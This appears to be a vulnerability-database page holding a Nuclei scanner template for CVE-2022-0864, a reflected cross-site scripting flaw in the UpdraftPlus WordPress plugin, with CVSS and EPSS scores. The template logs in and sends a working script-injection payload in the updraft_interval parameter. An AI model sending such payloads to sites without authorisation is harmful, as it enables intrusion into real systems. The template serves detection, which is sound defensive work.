Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2022-0864
HistoryApr 04, 2023 - 2:23 a.m.

UpdraftPlus < 1.22.9 - Cross-Site Scripting

2023-04-0402:23:02
ProjectDiscovery
github.com
updraftplus
cross-site scripting
vulnerability
injection
malicious scripts
data theft
defacement
update
wordpress plugin
cve-2022-0864
xss

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.002 Low

EPSS

Percentile

64.5%

The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
id: CVE-2022-0864

info:
  name: UpdraftPlus < 1.22.9 - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update UpdraftPlus plugin to version 1.22.9 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7337543f-4c2c-4365-aebf-3423e9d2f872
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0864
    - https://wordpress.org/plugins/updraftplus
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0864
    cwe-id: CWE-79
    epss-score: 0.00242
    epss-percentile: 0.63565
    cpe: cpe:2.3:a:updraftplus:updraftplus:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: updraftplus
    product: updraftplus
    framework: wordpress
  tags: wpscan,cve,cve2022,xss,authenticated,updraftplus,wp-plugin,wp,wordpress

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm('document_domain')</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>confirm('document_domain')</script>"
          - "Existing backups"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402200febb57e8c3aee4b73313a8bdf73df55aebca0fa768eea9cbbdeca86b8e581b102200158e5d4e0144d1ee628524d74a96da960a4b063fb2ebb80b84393c07f025e21:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.002 Low

EPSS

Percentile

64.5%